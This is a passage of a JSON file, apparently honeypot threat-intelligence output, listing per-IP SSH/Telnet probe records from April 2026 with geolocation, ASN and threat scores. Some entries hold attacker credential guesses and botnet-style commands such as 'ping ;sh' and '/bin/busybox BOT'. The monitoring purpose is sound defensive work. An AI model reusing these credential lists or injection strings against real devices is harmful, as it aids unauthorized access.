      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T23:28:02.245000+00:00",
        "last_seen_30d": "2026-04-17T23:56:53.642000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "184.22.41.2": {
      "attack_count": 15,
      "first_seen": "2026-04-06T03:58:25.970Z",
      "last_seen": "2026-04-06T04:02:12.686Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "ec2-user",
        "root",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1qazXSW@",
        "Root2022!!",
        "ubuntu04!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 133481,
      "as_org": "AIS Fibre",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T03:58:25.970000+00:00",
        "last_seen_30d": "2026-04-06T04:03:20.695000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "160.191.89.7": {
      "attack_count": 14,
      "first_seen": "2026-04-10T07:03:20.640Z",
      "last_seen": "2026-04-10T07:06:05.536Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T07:03:20.640000+00:00",
        "last_seen_30d": "2026-04-10T07:07:06.823000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 6
      }
    },
    "179.53.48.15": {
      "attack_count": 14,
      "first_seen": "2026-04-11T07:42:26.242Z",
      "last_seen": "2026-04-11T07:44:47.707Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 6400,
      "as_org": "Compania Dominicana de Telefonos S. A.",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T07:42:26.242000+00:00",
        "last_seen_30d": "2026-04-11T07:46:14.639000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 11
      }
    },
    "185.106.29.186": {
      "attack_count": 13,
      "first_seen": "2026-04-02T03:32:10.777Z",
      "last_seen": "2026-04-02T03:33:13.283Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "nsroot"
      ],
      "passwords_attempted": [
        "nsroot",
        "system"
      ],
      "commands_executed": [
        "linuxshell",
        "shell",
        "/bin/busybox BOT",
        "ping ;sh",
        "sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Erbil",
      "asn": 206206,
      "as_org": "Kurdistan Net Company for Computer and Internet Ltd.",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T03:32:10.777000+00:00",
        "last_seen_30d": "2026-04-02T03:34:15.944000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 1
      }
    },
    "66.132.195.41": {
      "attack_count": 12,
      "first_seen": "2026-04-11T09:37:16.162Z",
      "last_seen": "2026-04-25T11:31:19.000Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 199,
        "days_active_30d": 30,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T15:20:05+00:00",
        "last_seen_30d": "2026-04-30T10:50:53.730000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 125,
        "Honeytrap": 52,
        "Cowrie": 12,
        "ElasticPot": 4,
        "Honeyaml": 4,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "65.49.1.52": {
      "attack_count": 11,
      "first_seen": "2026-04-06T06:59:37.248Z",
      "last_seen": "2026-04-25T13:01:10.213Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 311,
        "days_active_30d": 30,
        "ports_targeted_30d": 68,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T09:26:31+00:00",
        "last_seen_30d": "2026-04-30T13:35:59.342000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 191,
        "Honeytrap": 77,
        "H0neytr4p": 15,
        "Cowrie": 11,
        "Miniprint": 8,
        "ConPot": 7,
        "Dionaea": 2
      }
    },
    "43.230.107.206": {
      "attack_count": 10,
      "first_seen": "2026-04-13T11:22:43.572Z",
      "last_seen": "2026-04-13T11:23:48.697Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 132754,
      "as_org": "Realtel Network Services Pvt Ltd",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T11:22:43.572000+00:00",
        "last_seen_30d": "2026-04-13T11:24:56.104000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "34.52.142.40": {
      "attack_count": 9,
      "first_seen": "2026-04-28T02:19:39.729Z",
      "last_seen": "2026-04-28T02:19:47.292Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T02:19:39.729000+00:00",
        "last_seen_30d": "2026-04-28T02:20:52.998000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 5
      }
    },
    "125.44.219.110": {
      "attack_count": 8,
      "first_seen": "2026-04-06T17:06:06.657Z",
      "last_seen": "2026-04-06T17:06:58.130Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T17:06:06.657000+00:00",
        "last_seen_30d": "2026-04-06T17:08:06.430000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "185.220.101.46": {
      "attack_count": 8,
      "first_seen": "2026-04-07T18:11:39.886Z",
      "last_seen": "2026-04-07T18:12:04.943Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T18:11:39.886000+00:00",
        "last_seen_30d": "2026-04-07T18:13:06.771000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "2.57.122.196": {
      "attack_count": 8,
      "first_seen": "2026-04-09T16:02:43.659Z",
      "last_seen": "2026-04-20T22:03:48.618Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T16:02:43.659000+00:00",
        "last_seen_30d": "2026-04-20T22:04:50.891000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "37.120.213.13": {
      "attack_count": 8,
      "first_seen": "2026-04-25T11:11:35.899Z",
      "last_seen": "2026-04-27T09:15:56.443Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T03:36:12.321000+00:00",
        "last_seen_30d": "2026-04-27T09:16:57.750000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 8
      }
    },
    "185.247.137.222": {
      "attack_count": 6,
      "first_seen": "2026-04-24T09:42:16.274Z",
      "last_seen": "2026-04-24T09:42:19.025Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T09:42:16.274000+00:00",
        "last_seen_30d": "2026-04-27T10:16:48.865000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "66.132.172.96": {
      "attack_count": 6,
      "first_seen": "2026-04-15T06:11:49.010Z",
      "last_seen": "2026-04-15T06:12:24.865Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 30,
        "ports_targeted_30d": 49,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T15:36:41.923000+00:00",
        "last_seen_30d": "2026-04-30T02:14:03.621000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 135,
        "Honeytrap": 59,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dionaea": 1,
        "Ipphoney": 1,
        "Sentrypeer": 1
      }
    },
    "115.190.26.3": {
      "attack_count": 5,
      "first_seen": "2026-04-24T21:37:42.971Z",
      "last_seen": "2026-04-24T21:39:42.975Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ansible"
      ],
      "passwords_attempted": [
        "qwerty"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T21:37:42.971000+00:00",
        "last_seen_30d": "2026-04-24T21:49:47.885000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "20.83.27.184": {
      "attack_count": 5,
      "first_seen": "2026-04-28T21:21:20.788Z",
      "last_seen": "2026-04-28T21:21:31.143Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 47.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.1,
        "persistence": 14.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 17,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-12T11:03:00+00:00",
        "last_seen_30d": "2026-04-28T21:22:34.951000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 5,
        "Honeytrap": 2
      }
    },
    "41.82.41.176": {
      "attack_count": 5,
      "first_seen": "2026-04-19T15:07:04.436Z",
      "last_seen": "2026-04-19T15:07:09.881Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "ubuntu"
      ],
      "passwords_attempted": [
        "ccc"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T15:07:04.436000+00:00",
        "last_seen_30d": "2026-04-19T15:08:11.378000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "65.49.1.108": {
      "attack_count": 5,
      "first_seen": "2026-04-03T11:40:43.959Z",
      "last_seen": "2026-04-03T11:40:44.111Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 30,
        "ports_targeted_30d": 85,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T00:21:15+00:00",
        "last_seen_30d": "2026-04-30T14:46:23.689000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 177,
        "Honeytrap": 91,
        "Redishoneypot": 11,
        "Miniprint": 8,
        "Cowrie": 5,
        "ConPot": 4,
        "CitrixHoneypot": 3,
        "Dionaea": 2
      }
    },
    "14.1.107.146": {
      "attack_count": 4,
      "first_seen": "2026-04-09T18:26:55.789Z",
      "last_seen": "2026-04-09T18:27:20.919Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T18:26:55.789000+00:00",
        "last_seen_30d": "2026-04-09T18:28:28.401000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.12": {
      "attack_count": 4,
      "first_seen": "2026-04-25T04:11:53.457Z",
      "last_seen": "2026-04-25T04:11:56.733Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 52.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.8,
        "persistence": 20.0,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 24,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T21:13:37+00:00",
        "last_seen_30d": "2026-04-25T04:13:02.363000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 5,
        "Cowrie": 4
      }
    },
    "198.235.24.154": {
      "attack_count": 4,
      "first_seen": "2026-04-24T22:05:39.776Z",
      "last_seen": "2026-04-24T22:05:43.504Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 58.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 22,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T00:08:29.638000+00:00",
        "last_seen_30d": "2026-04-24T22:06:50.158000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Honeyaml": 1
      }
    },
    "201.71.173.44": {
      "attack_count": 4,
      "first_seen": "2026-04-08T07:52:52.734Z",
      "last_seen": "2026-04-15T05:41:14.868Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cuiab\u00e1",
      "asn": 28635,
      "as_org": "AVATO TECNOLOGIA S.A",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T07:52:52.734000+00:00",
        "last_seen_30d": "2026-04-15T05:42:19.914000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "205.210.31.18": {
      "attack_count": 4,
      "first_seen": "2026-04-18T22:37:21.387Z",
      "last_seen": "2026-04-18T22:37:24.913Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 65.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.6,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 26,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T16:13:52+00:00",
        "last_seen_30d": "2026-04-27T20:51:39.426000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 8,
        "Cowrie": 4
      }
    },
    "205.210.31.81": {
      "attack_count": 4,
      "first_seen": "2026-04-16T22:59:43.654Z",
      "last_seen": "2026-04-16T22:59:47.464Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 87.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 28,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T18:45:41.217000+00:00",
        "last_seen_30d": "2026-04-30T20:13:22.186000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 21,
        "ConPot": 4,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "64.62.156.191": {
      "attack_count": 4,
      "first_seen": "2026-04-19T13:08:41.788Z",
      "last_seen": "2026-04-19T13:08:45.839Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 71.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T04:43:07+00:00",
        "last_seen_30d": "2026-04-29T07:12:22.964000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 7,
